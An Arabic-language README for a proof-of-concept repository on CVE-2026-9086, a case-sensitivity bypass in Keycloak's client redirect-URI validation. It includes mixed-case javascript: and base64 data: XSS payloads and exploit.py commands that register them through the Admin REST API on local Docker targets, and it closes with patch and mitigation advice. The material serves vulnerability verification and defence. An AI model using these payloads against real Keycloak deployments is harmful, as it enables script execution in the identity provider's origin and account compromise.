
CVE-2026-9086 إثبات مفهوم لتجاوز التحقق من URI للعميل في Keycloak باستخدام حمولات XSS بحالة أحرف مختلطة عبر javascript: وdata:، مع تحقق قائم على Docker من الإصدارات المعرضة للثغرة والإصدارات المصلحة.
يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة Cross-Site Scripting (XSS) CVE-2026-9086 في التحقق من URI الخاص بالعميل في Keycloak.
كان Keycloak المُصاب بالثغرة يتحقق من مخططي javascript: و data: في الـ URIs المُعرَّفة للعملاء بشكل يميّز بين الأحرف الكبيرة والصغيرة. لذلك، يمكن استخدام تدوين مختلط مثل jaVaSCript: أو DaTa: لتجاوز التحقق من المخططات المحظورة. وبما أن المتصفحات تفسّر مخططات URI دون تمييز بين الأحرف الكبيرة والصغيرة، فقد يتم تنفيذ JavaScript في أصل (Origin) Keycloak إذا نقر الضحية على رابط مُعدّ خصيصًا.
يُشغّل هذا الـ PoC إصداري Keycloak 26.6.3 (الإصدار المُصاب) و26.6.4 (الإصدار المُصحَّح) عبر Docker، ثم يسجّل نفس URI بالتدوين المختلط من خلال Admin REST API. ويؤكد أن التسجيل ينجح في الإصدار المُصاب ويُرفض برمز HTTP 400 في الإصدار المُصحَّح.
لا يفتح هذا الـ PoC الـ URIs المسجلة في المتصفح ولا ينفّذ JavaScript.
يُقصد من هذا المشروع الأغراض التعليمية والاختبارات الأمنية المصرّح بها فقط. لا تستخدمه لإجراء اختبارات غير مصرّح بها على بيئات Keycloak تابعة لجهات أخرى. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار أو الأعمال غير القانونية الناتجة عن استخدام هذه الأداة.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client أو الوصول إلى نقطة نهاية تسجيل العميلكان DefaultClientValidationProvider قبل الإصلاح يقارن المخططات المحظورة باستخدام String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
وبما أن java.net.URI#getScheme() يحافظ على حالة الأحرف في المدخلات، فإن الـ URIs التالية لا تطابق عملية المقارنة وتمر عبر التحقق.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
أما في الإصدار المُصحَّح فيُستخدم equalsIgnoreCase().
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
شغّل الإصدار المُصاب والإصدار المُصحَّح باستخدام Docker Compose.
docker compose up -d
الأهداف التي سيتم تشغيلها:
| URL | الإصدار | النتيجة المتوقعة |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | نجاح تسجيل URI (مُصاب) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (مُصحَّح) |
قد يستغرق التشغيل الأول بعض الوقت. يمكنك التحقق من الحالة بالأمر التالي.
docker compose logs -f
عند ظهور Listening on في سجلي الخدمتين، اضغط Ctrl+C لإنهاء عرض السجلات.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
الإخراج المتوقع:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
كما يعيد السكربت استرجاع العميل المُنشأ من خلال Admin API ويتأكد من حفظ URI المُعدّ خصيصًا.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
الإخراج المتوقع:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:بتحديد --scheme data، يمكنك التحقق من URIs بتدوين مختلط مثل DaTa:.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
ينفّذ exploit.py الإجراءات التالية فقط:
admin-clijaVaSCript: أو DaTa: في redirectUris/admin/realms/master/clientsلا يتم تشغيل المتصفح، ولا الانتقال إلى الـ URI المسجل، ولا تنفيذ JavaScript.
قم بتحديث Keycloak الإصدار 26.6.x إلى 26.6.4 أو أحدث، وRed Hat build of Keycloak الإصدار 26.4.x إلى 26.4.13 أو أحدث.
بالتوازي مع ذلك، قم بمراجعة إعدادات URIs للعملاء الحاليين واحذف أي قيم تستخدم javascript: أو data: بغض النظر عن حالة الأحرف. كما يجب تقييد صلاحية manage-client والوصول إلى نقطة نهاية تسجيل العميل إلى الحد الأدنى الضروري.